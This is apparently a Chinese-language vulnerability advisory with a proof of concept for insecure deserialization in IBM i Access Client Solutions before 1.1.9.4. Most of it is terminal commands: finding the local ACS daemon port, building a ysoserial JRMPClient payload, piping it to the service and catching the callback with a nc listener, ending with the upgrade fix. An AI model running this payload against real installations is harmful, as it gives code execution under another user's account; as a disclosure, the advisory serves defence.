IBM i Access Client Solutions < 1.1.9.4 - 通过不安全的反序列化实现远程代码执行。
IBM i Access Solutions 在密码存储和获取密码加密解密密钥时使用了不安全的反序列化方式。本地或远程攻击者可能利用此漏洞执行代码。
使用 netstat 命令可以轻松找到本地服务器：
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
我们可以使用 ps 命令确认该本地服务器的详细信息：
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
我们可以通过用户 mmajchrowicz 使用来自 mkubiak 账户的 ysoserial 载荷实现代码执行：
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
在第二个终端中，我们将在服务执行载荷后收到连接：
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
该问题是由于网络包和用户数据的不安全反序列化导致的。该问题已在 IBM i Access Client Solutions 1.1.9.4 中修复。
< 1.1.9.4
将 IBM i Access Client Solutions 更新到 1.1.9.4 或更高版本。